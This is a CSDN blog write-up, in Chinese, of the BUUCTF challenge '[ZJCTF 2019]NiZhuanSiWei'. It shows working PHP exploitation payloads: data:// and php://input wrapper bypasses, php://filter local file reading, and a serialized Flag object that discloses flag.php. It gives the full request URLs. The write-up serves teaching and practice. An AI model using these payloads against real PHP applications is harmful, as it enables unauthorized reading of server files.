buuctf——[ZJCTF 2019]NiZhuanSiWei

50 篇文章 4 订阅
17 篇文章 1 订阅
文章讲述了在ZJCTF2019比赛中的一个挑战,黑客利用file_get_contents和php://input绕过限制,通过构造payload成功读取并显示useless.php文件内容,最终获取flag的过程。
摘要由CSDN通过智能技术生成

buuctf——[ZJCTF 2019]NiZhuanSiWei

1.绕过file_get_contents()函数
file_get_contents函数介绍
定义和用法
file_get_contents() 把整个文件读入一个字符串中。
该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能。
绕过方法
方法一:data://text/plain,welcome to the zjctf

http://8c6614ad-a195-4f14-a40e-87881da566f6.node5.buuoj.cn:81/index.php?text=data://text/plain,welcome to the zjctf

在这里插入图片描述

方法二: php://input
函数体里输入welcome to the zjctf
在这里插入图片描述
方法二需要注意的是,需要使用bp或者yakit进行抓包传输,开始还一直以为是hackbar的问题,踩了一堆的坑。

?text=data://text/plain,welcome to the zjctf

2.通过include()函数读取useless.php文件的内容

http://8c6614ad-a195-4f14-a40e-87881da566f6.node5.buuoj.cn:81/index.php?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

在这里插入图片描述

3.成功读取useless.php的文件内容

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>

在这里插入图片描述

<?php  

class Flag{
	public $file="flag.php";
	public function __tostring(){
		if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        } 
	}
}	
$a = new Flag();
var_dump(serialize($a));
?>  

在这里插入图片描述

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

4.构造完整的payload
http://8c6614ad-a195-4f14-a40e-87881da566f6.node5.buuoj.cn:81/index.php?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
5.查看源代码即可看到flag
在这里插入图片描述
在这里插入图片描述

  • 8
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值